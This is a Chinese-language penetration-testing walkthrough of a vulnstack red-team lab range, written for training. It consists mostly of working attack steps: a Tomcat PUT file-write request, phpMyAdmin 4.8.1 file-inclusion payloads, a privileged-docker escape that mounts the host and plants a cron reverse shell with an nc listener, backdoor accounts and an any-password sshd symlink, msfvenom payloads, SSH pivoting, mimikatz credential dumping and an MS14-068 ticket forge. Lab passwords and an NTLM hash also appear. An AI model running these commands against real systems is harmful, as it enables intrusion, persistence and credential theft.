http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
大家好红日安全红队靶场(四)已经出来,本次靶场渗透反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞,希望大家多多利用。
红队评估四靶场描述
第一次搭建靶机,如有啥不足或问题,欢迎各位师傅在vlunstack微信群里提出,向师傅们学习
靶场学习路径,可参考
st漏洞利用
phpmyadmin getshell
tomcat 漏洞利用
docker逃逸
ms14-068
ssh密钥利用
流量转发
历史命令信息泄露
域渗透
环境说明
机器密码
ubuntu:ubuntu域成员机器
douser:Dotest123DC:
administrator:Test2008
环境是在Ubuntu上用docker做的,需要启动docker容器
docker start ec 17 09 bb da 3d ab ad
ubuntu 端口
来看看分别有什么
2001 一个文件上传
2002 一个tomcat
2003 一个phpmyadmin,这个没有密码就直接进来了。。。
先来看看这个文件上传,页面title写的是struts2
直接丢payload检测
S2-045
S2-045
CVE-2017-12615 任意文件写入
这个漏洞利用需要在windows环境, 需要将readonly 初始化参数由默认值设置为 false,就可以通过构造jsp文件到服务器。
环境是docker做的,这个payload已经不属于CVE-2017-12615的范畴了,这种方式适用于win及linux系统。
Payload
PUT /1.jsp/ HTTP/1.1
Host: 192.168.3.103:2002
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
wpsec
phpmyadmin 4.8.1
payload
http://192.168.3.103:2003/
?target=tbl_zoom_select.php?/../../../../../../etc/hosts
这个数据库有一个叫test的数据库,可以向里面任意信息,因为php包含的文件都会以php解析,所以可以写入相应php代码执行任意命令,但是我这里测试没有成功,因为作者这个环境是用的两个docker容器,站库分离。
查看本地数据库路径
创建一个rce表,向表内插入php语句,包含执行
show global variables like "%datadir%";
CREATE TABLE rce(code varchar(100));
INSERT INTO rce(code) VALUES("");
想要包含session文件需要知道存放的session临时文件位置和session命名规则
http://192.168.3.103:2003/index.php?target=db_datadict.php%253f../../../../../../../../../tmp/sess_bbbf00d597f5456ab9fdf0db25ff3912
通过前面三种漏洞利用都可以getshell
进入后进行信息收集,及判断是否为docker环境
查看ip信息与系统版本
查看.dockerenv 文件
查询系统进程的cgroup信息
非docker环境一般不会有dockerenv文件,但如果dockerfile写的比较好的也有可能没有这个文件。
ls -alh /.dockerenv
cat /proc/1/cgroup
如果是通过特权模式启动容器,就可以获得大量设备文件的访问权限,因为管理员执行docker run —privileged
时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
创建一个文件夹,将宿主机根目录挂载至容器目录下
fdisk -l
mkdir /wpsec
mount /devsda1 /wpsec
写一条nc的计划任务,反向连接回来
sed -i '$a*/2 * * * * root bash /wpsec/var/tmp/root ' /wpsec/etc/crontab
nc -nvlp 12340
另外我尝试了 dirty cow 逃逸,但是没能利用成功
普通root组用户
useradd test1 -g 0 -s /bin/bash
软连后门需要root执行后门命令,任意密码登录
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=12345
进入ubuntu后发现ubuntu还有一张网卡
上msf,做正向连接
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=12343 -f elf -o wpsec
转发 ssh 端口
portfwd add -r 127.0.0.1 -p 22 -l 2222
做 ssh 隧道转发
ssh -f -N -D 127.0.0.1:1080 [email protected] -p 2222
添加一条 proxychains4 socks代理
通过msf扫描arp查看内弯主机
run post/windows/gather/arp_scanner rhosts=192.168.183.0/24
通过bash查看内网主机
for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
在通过 proxychains 扫描内网指定ip
proxychains bash
nmap -sV -sT -Pn -n 192.168.183.129-130
作者描述中有提到历史命令信息泄露
但是我找了找,除了作者搭建过程,没发现有用信息
内网共两台主机
192.168.183.130 - Windows Server 2008 R2
192.168.183.129 - Windows 7 - 10 microsoft-ds
两台win机器都有17010
加载msf自带的kiwi模块抓取密码,但是并没有抓到明文
创建用户分配管理员权限开启RDP
run getgui -u wpsec -p pwd
上传 mimikatz
收集相关信息
USER:douser
Domain:DEMO.COM
NTLM:bc23b0b4d5bf5ff42bc61fb62e13886e
SID:S-1-5-21-979886063-1111900045-1414766810-1107
PASSWORD:Dotest123
上传MS14-068
MS14-068.exe -u [email protected] -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
通过 mimikatz 导入TGT票据
kerberos::ptc [email protected]